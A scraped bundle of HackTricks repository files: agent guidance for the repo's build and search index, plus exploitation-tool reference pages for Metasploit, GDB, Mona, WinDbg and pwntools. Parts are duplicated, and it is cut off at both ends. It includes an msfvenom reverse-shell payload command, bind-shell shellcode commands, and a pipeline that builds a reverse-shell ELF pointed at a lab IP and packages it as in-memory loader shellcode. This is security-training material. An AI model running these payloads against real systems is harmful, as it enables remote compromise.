`hacktricks.wiki` in production is expensive.\n- On localhost, `.local`/`.internal` hosts, loopback, RFC1918, carrier-grade NAT, link-local, or\n private IPv6 addresses, load only the same-origin mdBook output so local/container deployments\n remain self-contained. For a non-English page, try the language-prefixed local path first (for\n example `/es/searchindex.js`) and use the root English index only as a fallback.\n\nFor this repo, the expected local fallback is:\n\n`/searchindex.js`\n\nOn private hosts, the cloud index is unavailable from this origin and must not trigger a remote\ndownload. On public hosts it should use the remote `searchindex-cloud-.js.gz` files.\n\n## Search Index Publishing\n\nThe workflows that publish encrypted compressed search indexes to\n`HackTricks-wiki/hacktricks-searchindex` are:\n\n- `.github/workflows/build_master.yml`\n- `.github/workflows/translate_all.yml`\n\nThe generated source file is `book/searchindex.js`. The published remote artifact names are:\n\n- `searchindex-v2-en.json.gz` (preferred compact index)\n- `searchindex-v2-.json.gz` (preferred compact index)\n- `searchindex-en.js.gz`\n- `searchindex-.js.gz`\n\nThe browser loader prefers the compact v2 artifact and keeps the `.js.gz` artifact as a legacy\nfallback. Both are XOR-encrypted gzip payloads using the key defined in `theme/ht_searcher.js`.\n\nThe loader must stay lazy: normal page navigation must not create the search worker or download an\nindex until the visitor opens or uses search. Remote compressed responses are persisted in Cache\nStorage for 24 hours per origin so subsequent pages can reuse them. Preserve the stale-cache\nfallback when refreshing an expired entry fails.\n\n## Build And Validation\n\nCommon local checks:\n\n- `node --check theme/ht_searcher.js`\n- `node --test scripts/test_search.js` (matching, ranking, UI, source policy, and cache regressions)\n- `HT_SEARCH_CORPUS=1 node --test scripts/test_search.js` (also checks both generated books when present)\n- `mdbook build`\n\nIf `mdbook build` fails, check:\n\n- `hacktricks-preprocessor-error.log`\n- `hacktricks-preprocessor.log`\n\n## Editing Notes\n\n- Prefer `rg` for searching.\n- Keep generated `book/` output out of commits unless explicitly requested. Search loader fixes are\n an exception when the already-built pages must be corrected immediately.\n- If changing shared theme behavior, compare and update the matching file in\n `/Users/carlospolop/git/hacktricks-cloud`.\n- Do not revert unrelated local changes.\n\n## Branch hygiene\n\n- **Use the configured default branch.** Check the repository setting; it may be `main`, `master`, or something else. Base ordinary work on it and merge approved changes back into it. Target release branches only when required. Respect reviews, checks, and branch protection.\n- **Create only needed branches.** Check `git status` and worktrees first. Use one short-lived branch per change, reuse it for revisions, and preserve others' work. Avoid speculative or duplicate branches.\n- **Clean up after a verified merge.** Confirm the changes landed, including after squash/rebase, and that no open PR or unmerged work needs the branch. Delete only your completed task's remote/local branch and worktree; prune stale refs. Never delete default, protected, shared, or unrelated branches.\n- **Leave a clean environment.** Check for leftover branches, worktrees, and uncommitted changes. Clean up safely or explain what must remain; never merge or delete when authorization or safety is uncertain.\n","src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md":"# Exploiting Tools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n## Metasploit\n\nMetasploit supplies cyclic-pattern helpers, opcode-search utilities, and `msfvenom` for generating payloads in formats suitable for exploit development.[[1]](#references)\n\n```bash\npattern_create.rb -l 3000 #Length\npattern_offset.rb -l 3000 -q 5f97d534 #Search offset\nnasm_shell.rb\nnasm> jmp esp #Get opcodes\nmsfelfscan -j esi /opt/fusion/bin/level01\n```\n\n### Shellcodes\n\n```bash\nmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b \"\\x00\\x0a\\x0d\" -f c\n```\n\n## GDB\n\nGDB can start or attach to a process, control execution, inspect memory and registers, and modify program state while debugging.[[2]](#references)\n\n### Install\n\n```bash\napt-get install gdb\n```\n\n### Parameters\n\n```bash\n-q # Do not show the banner\n-x # Auto-execute GDB instructions from here\n-p # Attach to process\n```\n\n### Instructions\n\n```bash\nrun # Execute\nstart # Start and break in main\nn/next/ni # Execute next instruction (no inside)\ns/step/si # Execute next instruction\nc/continue # Continue until next breakpoint\np system # Find the address of the system function\nset $eip = 0x12345678 # Change value of $eip\nhelp # Get help\nquit # exit\n\n# Disassemble\ndisassemble main # Disassemble the function called main\ndisassemble 0x12345678 # Disassemble that address\nset disassembly-flavor intel # Use intel syntax\nset follow-fork-mode child/parent # Follow child/parent process\n\n# Breakpoints\nbr func # Add breakpoint to function\nbr *func+23\nbr *0x12345678\ndel # Delete that number of breakpoint\nwatch EXPRESSION # Break if the value changes\n\n# info\ninfo functions --> Information about functions\ninfo functions func --> Information about matching functions\ninfo registers --> Value of the registers\nbt # Backtrace Stack\nbt full # Detailed stack\nprint variable\nprint 0x87654321 - 0x12345678 # Calculate\n\n# x/examine\nexamine/ dir_mem/reg/puntero # Shows content of in where each entry is a \nx/o 0xDir_hex\nx/2x $eip # 2Words from EIP\nx/2x $eip -4 # $eip - 4\nx/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)\ni r eip # Value of $eip\nx/w pointer # Value of the pointer\nx/s pointer # String pointed by the pointer\nx/xw &pointer # Address where the pointer is located\nx/i $eip # Instructions of the EIP\n```\n\n### [GEF](https://github.com/hugsy/gef)\n\nYou can optionally use [this GEF fork](https://github.com/bata24/gef), which includes additional commands.\n\n```bash\nhelp memory # Get help on memory command\ncanary # Search for canary value in memory\nchecksec #Check protections\np system #Find system function address\nsearch-pattern \"/bin/sh\" #Search in the process memory\nvmmap #Get memory mappings\nxinfo # Shows page, size, perms, memory area and offset of the addr in the page\nmemory watch 0x784000 0x1000 byte # Add a persistent view of this memory\ngot #Check got table\nmemory watch $_got()+0x18 5 #Watch a part of the got table\n\n# Vulns detection\nformat-string-helper #Detect insecure format strings\nheap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap\n\n#Patterns\npattern create 200 #Generate length 200 pattern\npattern search \"avaaawaa\" #Search for the offset of that substring\npattern search $rsp #Search the offset given the content of $rsp\n\n#Shellcode\nshellcode search x86 #Search shellcodes\nshellcode get 61 #Download shellcode number 61\n\n#Dump memory to file\ndump binary memory /tmp/dump.bin 0x200000000 0x20000c350\n\n#Another way to get the offset of to the RIP\n1- Put a breakpoint after the function that overwrites RIP and send a pattern that reaches it\n2- ef➤ i f\nStack level 0, frame at 0x7fffffffddd0:\n rip = 0x400cd3; saved rip = 0x6261617762616176\n called by frame at 0x7fffffffddd8\n Arglist at 0x7fffffffdcf8, args:\n Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0\n Saved registers:\n rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8\ngef➤ pattern search 0x6261617762616176\n[+] Searching for '0x6261617762616176'\n[+] Found at offset 184 (little-endian search) likely\n```\n\n### Tricks\n\n#### GDB same addresses\n\nWhile debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:\n\n- `unset env LINES`\n- `unset env COLUMNS`\n- `set env _=` _Put the absolute path to the binary_\n- Exploit the binary using the same absolute route\n- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary\n\n#### Backtrace to find functions called\n\nIn a **statically linked binary**, all functions belong to the binary rather than external libraries. This can make it difficult to identify the call flow that eventually asks for user input.\\\nRun the binary with **GDB** until it asks for input, interrupt it with **Ctrl+C**, and use **`bt`** (**backtrace**) to see the active call chain:\n\n```\ngef➤ bt\n#0 0x00000000004498ae in ?? ()\n#1 0x0000000000400b90 in ?? ()\n#2 0x0000000000400c1d in ?? ()\n#3 0x00000000004011a9 in ?? ()\n#4 0x0000000000400a5a in ?? ()\n```\n\n### GDB server\n\n`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)\n\n## Ghidra\n\nGhidra's disassembler and decompiler expose stack-variable layouts that help calculate the distance from a vulnerable local buffer to saved frame data.[[3]](#references)\n\n### Find stack offset\n\n**Ghidra** is useful for finding a **buffer-overflow offset** from the positions of local variables. In the example below, an overflow beginning at `local_bc` has these relevant distances:\n\n- `0xac` bytes to `local_10`, if that variable is the stack canary.\n- `0xbc` bytes to the frame base and saved RBP in a conventional x86-64 frame.\n- `0xc4` bytes to the saved RIP: `0xbc` bytes to saved RBP plus its eight-byte (`0x08`) slot.\n\nConfirm the exact compiler-generated frame in the disassembly because frame-pointer omission or a different prologue changes this layout.\n\n![Ghidra stack layout used to calculate a buffer-overflow offset](<../../../images/image (1061).png>)\n\nFor scripted queries and analysis-database edits in an open IDA or Ghidra project, see the [local TCP bridge workflow](../../../reversing/reversing-tools-basic-methods/#scripted-ida-and-ghidra-analysis-with-a-local-tcp-bridge).\n\n## qtool\n\n```bash\nqltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog\n```\n\nGet every opcode executed in the program.\n\n## GCC\n\nThese compiler and linker options create deliberately unprotected lab binaries. Use them only in an isolated practice environment; GCC documents the compiler-side options in its option index.[[4]](#references)\n\n**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\\\n**-o** --> Output\\\n**-g** --> Save code (GDB will be able to see it)\\\n**echo 0 > /proc/sys/kernel/randomize_va_space** --> Disable ASLR on Linux\n\n**To compile a shellcode:**\\\n**nasm -f elf assembly.asm** --> return a \".o\"\\\n**ld assembly.o -o shellcodeout** --> Executable\n\n## Objdump\n\nGNU `objdump` displays object-file headers, symbols, relocations, section contents, and disassembly; the options below select those views.[[5]](#references)\n\n**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\\\n**-Mintel** --> **Intel** syntax\\\n**-t** --> **Symbols** table\\\n**-D** --> **Disassemble all** (address of static variable)\\\n**-s -j .dtors** --> dtors section\\\n**-s -j .got** --> got section\\\n-D -s -j .plt --> **plt** section **decompiled**\\\n**-TR** --> **Relocations**\\\n**objdump -t --dynamic-reloc ./exec | grep puts** --> Address of `puts` to modify in the GOT\\\n**objdump -D ./exec | grep \"VAR_NAME\"** --> Address or a static variable (those are stored in DATA section).\n\n## Core dumps\n\n1. Run `ulimit -c unlimited` before starting my program\n2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`\n3. sudo gdb --core=\\ --quiet\n\n## More\n\n**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\\\n**for i in \\`seq 0 20\\`; do ldd \\ | grep libc; done** --> Loop to observe how much the address changes\\\n**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of \"system\"\\\n**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of \"/bin/sh\"\n\n**strace executable** --> Functions called by the executable\\\n**rabin2 -i executable** --> Addresses of imported functions\n\n## WinDbg and WinDbgX user-mode launch and attach\n\nWhen reproducing a Windows heap corruption, first decide whether to **launch** the target under WinDbg or attach to an already running process. A debugger-created process can use different heap validation settings and allocation geometry from a normal run. In Corelan's x86 test, Classic WinDbg set `NtGlobalFlag` to `0x70` (tail, free, and parameter checks), while WinDbgX set `0x10` (tail check); an allocation gap changed from `0x5008` to `0x5018` under Classic. These are observed values, not portable offsets for an exploit. Check the target rather than assuming its heap matches a run outside the debugger.[[10]](#references)\n\nTo avoid WinDbg's default debug heap while still observing startup, pass `-hd` **and the executable together** when starting the debugger. Microsoft documents `-hd` for a debugger-created process.[[11]](#references)[[12]](#references)\n\nStarting WinDbg with `-hd` and later choosing **Open Executable** in the GUI did not suppress the automatically enabled flags in Corelan's test. Inspect the live PEB and global flags after the initial break. `-hd` does not hide the debugger itself: `BeingDebugged` can still be set, and persistent Image File Execution Options `GlobalFlag` settings can also affect new processes.[[10]](#references)\n\n```text\nwindbg.exe -hd C:\\path\\target.exe\nwindbgx.exe -hd C:\\path\\target.exe\n!gflag\n!peb\ndt nt!_PEB @$peb NtGlobalFlag\n```\n\nFor an already running target, `windbg.exe -p ` makes an **invasive attach** without retroactively enabling WinDbg's launch-time heap flags; it gives breakpoint and execution control but cannot observe initialization that already occurred.[[10]](#references)\n\nUse `windbg.exe -pv -p ` for a **noninvasive attach** when inspection without debug-port ownership is sufficient. It still suspends target threads to read state, but cannot run the target under debugger control, set breakpoints, or intercept exceptions.[[13]](#references)\n\nA debugger-created process stops at the loader's initial breakpoint before the executable's PE entry point; `bp @$exentry` then `bl` and `g` stop at that entry point without hard-coding an ASLR-dependent address. This is the PE entry point, not necessarily `main`.[[10]](#references)[[14]](#references) For event-driven logging and conditional breakpoints, see [WinDbg automation](../../../reversing/reversing-tools-basic-methods/windbg-automation.md). For allocation-selection work, see [Windows heap grooming](../../windows-userland-heap-grooming.md).\n\n```text\nbp @$exentry\nbl\ng\n```\n\n## **Immunity Debugger**\n\n```bash\n!mona modules #Get protections, look for all false except last one (Dll of SO)\n!mona find -s \"\\xff\\xe4\" -m name_unsecure.dll # Search for opcodes inside the DLL (JMP ESP)\n```\n\n## Mona v3 setup and searches\n\nFor current x86 or x64 Windows userland debugging, keep `mona.py` and `windbglib.py` together in one directory. Install PyKD and its `pykd-ext` bootstrapper for the Python interpreter used by WinDbg. Load the bootstrapper, **not** an old `pykd.pyd` from the debugger directory; then invoke Mona by full path or create an alias. The maintained setup and installer are in the [Mona v3 repository](https://github.com/corelan/mona3).[[8]](#references)[[9]](#references)\n\n```text\n!load pykd\n!py -3.9 C:\\Tools\\mona3\\mona.py\nas !mona !py -3.9 C:\\Tools\\mona3\\mona.py\n!mona config -set workingfolder C:\\logs\\%p\n```\n\nInstall `keystone-engine` into the **same Python architecture** used by PyKD. WinDbg cannot assemble arbitrary x64 mnemonics itself, so Mona's `asm` and `findwild` need Keystone for reliable x64 instruction searches; without it, Mona has only a limited instruction cache. On x86, Keystone is preferred when available. For a dual-architecture Python 3.9 setup, install it in both interpreters.[[8]](#references)[[9]](#references)\n\n```text\npy -3.9-32 -m pip install keystone-engine\npy -3.9-64 -m pip install keystone-engine\n!mona asm -s \"jmp eax\"\n```\n\n### Search scope and pointer constraints\n\nMost Mona pointer searches default to non-rebased, non-ASLR modules and executable pages; SEH searches also exclude SafeSEH modules. A blank result may therefore mean the relevant module or page was filtered, not that no gadget exists. `findwild` searches all executable pages, while `getiat` and `geteat` include all modules. Inspect the active criteria printed in the command output before widening a search.[[9]](#references)\n\nUse `-m` to restrict the search to a named module (also overriding the default module criteria), for example after leaking an ASLR module's base. Alternatively, `-cmp` matches a regular expression against a module's full path and `-cm` sets mitigation criteria such as `aslr`, `rebase`, `safeseh`, `nx`, and `cfg`. `-cpb` rejects measured bad bytes in pointer addresses, while `-x R` changes the default executable-page requirement to readable pages. An address found in an ASLR module still requires a valid runtime base; a readable non-executable page is not a code target when DEP applies. See [Windows SEH exploitation](../../stack-overflow/windows-seh-overflow.md) and [stack pivoting](../../stack-overflow/stack-pivoting.md) for the underlying techniques.[[9]](#references)\n\n```text\n!mona jmp -r esp -cpb '\\x00\\x0a\\x0d' # x86 register trampoline\n!mona jmp -r esp -m example.dll # include a selected module after a leak\n!mona rop -cm aslr=true,rebase=true # include mitigated modules deliberately\n!mona mod -cmp example # inspect matching module paths/mitigations\n```\n\n## Mona v3 debugger-context requests for crash triage\n\nMona v3's `!mona tellme` (alias `!mona ai`) packages a live WinDbg/WinDbgX snapshot into `tellme_request.md`. The command was added after the initial v3 release, so run `!mona up` if it is missing. It can submit that request to an AI engine, but the saved request is also useful without one. Use `-offline` explicitly when a default engine may be configured: otherwise Mona asks for confirmation and can send process memory, symbols, input files, and heap history to the provider. Inspect the text between `PROMPT BEGIN` and `PROMPT END` before sharing it. These outputs are hypotheses, not proof of exploitability.[[7]](#references)[[8]](#references)\n\n### Crash and function profiles\n\nFor a crash, `-q 1` collects registers, instruction and stack memory, module/page and heap metadata, the call stack, 32-bit SEH state, and silent `findmsp` cyclic-pattern results. If a register points into a pattern, Mona can add a first trampoline candidate from non-ASLR, non-rebased modules; `-cpb` filters pointer bytes using the target's *measured* bad characters. `-a` adds a heap or memory target, while `-l` can supply allocation/free evidence and `-p` the triggering input. The candidate still needs manual offset, permissions, mitigation, and path validation.[[7]](#references)\n\n```text\n!mona tellme -q 1 -offline -cpb '\\x00\\x0a\\x0d'\n!mona tellme -q 1 -a eax -l alloc.txt -p poc.py -offline\n```\n\nFor code comprehension, `-q 2` resolves the function containing the live EIP/RIP, gathers its disassembly and symbols where available, then follows direct calls and unconditional jumps. `-d` increases traversal depth; `-a` adds a different code address or symbol when the current PC is corrupted or another routine matters. Validate the resulting explanation against the actual branches and runtime state.[[7]](#references)\n\n```text\n!mona tellme -q 2 -a kernel32!CreateFileW -d 2 -offline\n```\n\n### Controlled heap-chunk reachability\n\nBreak where a chunk is known to be attacker-controlled, then use `-q 3 -c` with its address, register, or debugger expression. Mona records the owning chunk, a pointer-sized dump, and registers/stack slots pointing into it. Without `-t`, the request searches for chunk-derived write destinations or indirect dispatch sinks; with `-t`, it asks whether changing only chunk bytes can reach a specific code address. The context also follows direct calls/jumps **and caller return-resume paths**, so a sink after the current function returns is not silently ignored. For this profile `-d` also controls inspected caller frames (default 2, maximum 4); deeper snapshots can become too large for automated submission.[[7]](#references)\n\n```text\n!mona tellme -q 3 -c eax -offline\n!mona tellme -q 3 -c poi(esp+4) -t kernel32!VirtualProtect -d 2 -offline\n```\n\n### Reuse a reviewed request\n\nBuilt-in runs produce `ai.q1`, `ai.q2`, or `ai.q3` templates, but those files are overwritten and are **not** automatically used by the corresponding profile. Copy one, edit its instructions and `[variable]` placeholders, then load the copy with `-q 9 -f`. A custom file may put instructions before `Debugger request JSON:` and a `variables` object containing fields such as `[registers]`, `[pc_disasm]`, `[findmsp]`, and `[heapdynamics]`. An already completed request with no unresolved placeholders can also be reused without recollecting debugger context.[[7]](#references)\n\n```text\n!mona tellme -q 9 -f custom_ai.q1 -offline\n```\n\n## IDA\n\n### Debugging in remote linux\n\nIDA includes remote debugging servers for supported platforms. Copy `linux_server` or `linux_server64` to the Linux target and run it from the directory containing the program being debugged.[[6]](#references)\n\n```\n./linux_server64 -Ppass\n```\n\nThen configure **Debugger → Remote Linux debugger → Process options**:\n\n![IDA remote Linux debugger process options](<../../../images/image (858).png>)\n\n## References\n\n- [1] [Metasploit documentation - How to use `msfvenom`](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)\n- [2] [GNU GDB manual](https://sourceware.org/gdb/current/onlinedocs/gdb)\n- [3] [NSA - Ghidra Software Reverse Engineering Framework](https://github.com/NationalSecurityAgency/ghidra)\n- [4] [GCC option index](https://gcc.gnu.org/onlinedocs/gcc/Option-Index.html)\n- [5] [GNU Binutils - `objdump`](https://sourceware.org/binutils/docs/binutils/objdump.html)\n- [6] [Hex-Rays - Remote debugging with IDA](https://docs.hex-rays.com/user-guide/debugger/remote-debugging)\n- [7] [Corelan - Mona, tellme: AI-assisted analysis](https://corelan.be/index.php/2026/05/14/mona-tellme)\n- [8] [Corelan - Mona v3](https://github.com/corelan/mona3)\n- [9] [Corelan - Mona v3 Released](https://corelan.be/index.php/2026/05/01/mona-v3-released/)\n- [10] [Corelan - Debugging: WinDBG & WinDBGX Fundamentals](https://corelan.be/index.php/2026/03/23/debugging-windbg-windbgx-fundamentals)\n- [11] [Microsoft - Debugging a User-Mode Process Using WinDbg](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-a-user-mode-process-using-windbg)\n- [12] [Microsoft - WinDbg Command-Line Options](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-command-line-options)\n- [13] [Microsoft - Noninvasive Debugging (User Mode)](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/noninvasive-debugging--user-mode-)\n- [14] [Microsoft - Pseudo-Register Syntax](https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/pseudo-register-syntax)\n"},"items":[{"name":"AGENTS.md","path":"AGENTS.md","rawUrl":"https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/HEAD/AGENTS.md","title":"AI Agent Protocol & Instructions","category":"root-instruction","format":"markdown","content":"# AGENTS.md\n\nGuidance for future agents working in this repository.\n\n## Repository Context\n\nThis is the main HackTricks mdBook repository. The related cloud book lives at:\n\n`/Users/carlospolop/git/hacktricks-cloud`\n\nChanges to shared theme/search behavior often need to be applied in both repositories.\n\n## Search Index Loading Contract\n\nThe custom search UI lives in:\n\n`theme/ht_searcher.js`\n\nThere may also be a generated copy at:\n\n`book/theme/ht_searcher.js`\n\nIf production is deploying the already-built `book/` directory, update both copies or rebuild the\nbook before deployment.\n\nThe search index source policy is important and cost-sensitive:\n\n- On public hosts, load every language-specific and fallback candidate only from\n `HackTricks-wiki/hacktricks-searchindex`. Never fall back to the same-origin mdBook output;\n serving the large index from `hacktricks.wiki` in production is expensive.\n- On localhost, `.local`/`.internal` hosts, loopback, RFC1918, carrier-grade NAT, link-local, or\n private IPv6 addresses, load only the same-origin mdBook output so local/container deployments\n remain self-contained. For a non-English page, try the language-prefixed local path first (for\n example `/es/searchindex.js`) and use the root English index only as a fallback.\n\nFor this repo, the expected local fallback is:\n\n`/searchindex.js`\n\nOn private hosts, the cloud index is unavailable from this origin and must not trigger a remote\ndownload. On public hosts it should use the remote `searchindex-cloud-.js.gz` files.\n\n## Search Index Publishing\n\nThe workflows that publish encrypted compressed search indexes to\n`HackTricks-wiki/hacktricks-searchindex` are:\n\n- `.github/workflows/build_master.yml`\n- `.github/workflows/translate_all.yml`\n\nThe generated source file is `book/searchindex.js`. The published remote artifact names are:\n\n- `searchindex-v2-en.json.gz` (preferred compact index)\n- `searchindex-v2-.json.gz` (preferred compact index)\n- `searchindex-en.js.gz`\n- `searchindex-.js.gz`\n\nThe browser loader prefers the compact v2 artifact and keeps the `.js.gz` artifact as a legacy\nfallback. Both are XOR-encrypted gzip payloads using the key defined in `theme/ht_searcher.js`.\n\nThe loader must stay lazy: normal page navigation must not create the search worker or download an\nindex until the visitor opens or uses search. Remote compressed responses are persisted in Cache\nStorage for 24 hours per origin so subsequent pages can reuse them. Preserve the stale-cache\nfallback when refreshing an expired entry fails.\n\n## Build And Validation\n\nCommon local checks:\n\n- `node --check theme/ht_searcher.js`\n- `node --test scripts/test_search.js` (matching, ranking, UI, source policy, and cache regressions)\n- `HT_SEARCH_CORPUS=1 node --test scripts/test_search.js` (also checks both generated books when present)\n- `mdbook build`\n\nIf `mdbook build` fails, check:\n\n- `hacktricks-preprocessor-error.log`\n- `hacktricks-preprocessor.log`\n\n## Editing Notes\n\n- Prefer `rg` for searching.\n- Keep generated `book/` output out of commits unless explicitly requested. Search loader fixes are\n an exception when the already-built pages must be corrected immediately.\n- If changing shared theme behavior, compare and update the matching file in\n `/Users/carlospolop/git/hacktricks-cloud`.\n- Do not revert unrelated local changes.\n\n## Branch hygiene\n\n- **Use the configured default branch.** Check the repository setting; it may be `main`, `master`, or something else. Base ordinary work on it and merge approved changes back into it. Target release branches only when required. Respect reviews, checks, and branch protection.\n- **Create only needed branches.** Check `git status` and worktrees first. Use one short-lived branch per change, reuse it for revisions, and preserve others' work. Avoid speculative or duplicate branches.\n- **Clean up after a verified merge.** Confirm the changes landed, including after squash/rebase, and that no open PR or unmerged work needs the branch. Delete only your completed task's remote/local branch and worktree; prune stale refs. Never delete default, protected, shared, or unrelated branches.\n- **Leave a clean environment.** Check for leftover branches, worktrees, and uncommitted changes. Clean up safely or explain what must remain; never merge or delete when authorization or safety is uncertain.\n","isInternal":false,"tokens":970,"sizeBytes":4362},{"name":"pwntools.md","path":"src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md","rawUrl":"https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/HEAD/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md","title":"Tools Skill","category":"anthropic-skill","format":"markdown","content":"# PwnTools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n```\npip3 install pwntools\n```\n\n## Pwn asm\n\nGet **opcodes** from line or file.\n\n```\npwn asm \"jmp esp\"\npwn asm -i \n```\n\n**Can select:**\n\n- output type (raw,hex,string,elf)\n- output file context (16,32,64,linux,windows...)\n- avoid bytes (new lines, null, a list)\n- select encoder debug shellcode using gdb run the output\n\n## **Pwn checksec**\n\nChecksec script\n\n```\npwn checksec \n```\n\n## Pwn constgrep\n\n## Pwn cyclic\n\nGet a pattern\n\n```\npwn cyclic 3000\npwn cyclic -l faad\n```\n\n**Can select:**\n\n- The used alphabet (lowercase chars by default)\n- Length of uniq pattern (default 4)\n- context (16,32,64,linux,windows...)\n- Take the offset (-l)\n\n## Pwn debug\n\nAttach GDB to a process\n\n```\npwn debug --exec /bin/bash\npwn debug --pid 1234\npwn debug --process bash\n```\n\n**Can select:**\n\n- By executable, by name or by pid context (16,32,64,linux,windows...)\n- gdbscript to execute\n- sysrootpath\n\n## Pwn disablenx\n\nDisable nx of a binary\n\n```\npwn disablenx \n```\n\n## Pwn disasm\n\nDisas hex opcodes\n\n```\npwn disasm ffe4\n```\n\n**Can select:**\n\n- context (16,32,64,linux,windows...)\n- base address\n- color(default)/no color\n\n## Pwn elfdiff\n\nPrint differences between 2 files\n\n```\npwn elfdiff \n```\n\n## Pwn hex\n\nGet hexadecimal representation\n\n```bash\npwn hex hola #Get hex of \"hola\" ascii\n```\n\n## Pwn phd\n\nGet hexdump\n\n```\npwn phd \n```\n\n**Can select:**\n\n- Number of bytes to show\n- Number of bytes per line highlight byte\n- Skip bytes at beginning\n\n## Pwn pwnstrip\n\n## Pwn scramble\n\n## Pwn shellcraft\n\nGet shellcodes\n\n```\npwn shellcraft -l #List shellcodes\npwn shellcraft -l amd #Shellcode with amd in the name\npwn shellcraft -f hex amd64.linux.sh #Create in C and run\npwn shellcraft -r amd64.linux.sh #Run to test. Get shell\npwn shellcraft -r amd64.linux.bindsh 9095 #Bind SH to port\n```\n\n**Can select:**\n\n- shellcode and arguments for the shellcode\n- Out file\n- output format\n- debug (attach dbg to shellcode)\n- before (debug trap before code)\n- after\n- avoid using opcodes (default: not null and new line)\n- Run the shellcode\n- Color/no color\n- list syscalls\n- list possible shellcodes\n- Generate ELF as a shared library\n\n## Pwn template\n\nGet a python template\n\n```\npwn template\n```\n\n**Can select:** host, port, user, pass, path and quiet\n\n## Pwn unhex\n\nFrom hex to string\n\n```\npwn unhex 686f6c61\n```\n\n## Pwn update\n\nTo update pwntools\n\n```\npwn update\n```\n\n## ELF → raw shellcode packaging (loader_append)\n\nPwntools' `loader_append` can append an ELF to loader shellcode that maps the embedded ELF and transfers execution to it. This is useful for controlled memory-loader research, but architecture, ABI, executable-memory policy, relocations, and target process constraints still apply.[[1]](#references)[[2]](#references)\n\nTypical pipeline (amd64 example)\n\n1) Build a static, position‑independent payload ELF (musl recommended for portability):\n\n```bash\nmusl-gcc -O3 -s -static -o exploit exploit.c \\\n -DREV_SHELL_IP=\"\\\"10.10.14.2\\\"\" -DREV_SHELL_PORT=\"\\\"4444\\\"\"\n```\n\n2) Convert ELF → shellcode with pwntools:\n\n```python\n# exp2sc.py\nfrom pwn import *\ncontext.clear(arch='amd64')\nelf = ELF('./exploit')\nsc = asm(shellcraft.loader_append(elf.data, arch='amd64'))\nopen('sc','wb').write(sc)\nprint(f\"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes\")\n```\n\n3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process.\n\nNotes\n- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.[[1]](#references)\n- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.\n- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX.\n\n## References\n\n- [1] [Pwntools documentation](https://docs.pwntools.com/en/stable/)\n- [2] [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)\n\n{{#include ../../../banners/hacktricks-training.md}}\n","isInternal":false,"tokens":1192,"sizeBytes":4091},{"name":"README.md","path":"src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md","rawUrl":"https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/HEAD/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md","title":"tools Documentation","category":"plugin-manifest","format":"markdown","content":"# Exploiting Tools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n## Metasploit\n\nMetasploit supplies cyclic-pattern helpers, opcode-search utilities, and `msfvenom` for generating payloads in formats suitable for exploit development.[[1]](#references)\n\n```bash\npattern_create.rb -l 3000 #Length\npattern_offset.rb -l 3000 -q 5f97d534 #Search offset\nnasm_shell.rb\nnasm> jmp esp #Get opcodes\nmsfelfscan -j esi /opt/fusion/bin/level01\n```\n\n### Shellcodes\n\n```bash\nmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b \"\\x00\\x0a\\x0d\" -f c\n```\n\n## GDB\n\nGDB can start or attach to a process, control execution, inspect memory and registers, and modify program state while debugging.[[2]](#references)\n\n### Install\n\n```bash\napt-get install gdb\n```\n\n### Parameters\n\n```bash\n-q # Do not show the banner\n-x # Auto-execute GDB instructions from here\n-p # Attach to process\n```\n\n### Instructions\n\n```bash\nrun # Execute\nstart # Start and break in main\nn/next/ni # Execute next instruction (no inside)\ns/step/si # Execute next instruction\nc/continue # Continue until next breakpoint\np system # Find the address of the system function\nset $eip = 0x12345678 # Change value of $eip\nhelp # Get help\nquit # exit\n\n# Disassemble\ndisassemble main # Disassemble the function called main\ndisassemble 0x12345678 # Disassemble that address\nset disassembly-flavor intel # Use intel syntax\nset follow-fork-mode child/parent # Follow child/parent process\n\n# Breakpoints\nbr func # Add breakpoint to function\nbr *func+23\nbr *0x12345678\ndel # Delete that number of breakpoint\nwatch EXPRESSION # Break if the value changes\n\n# info\ninfo functions --> Information about functions\ninfo functions func --> Information about matching functions\ninfo registers --> Value of the registers\nbt # Backtrace Stack\nbt full # 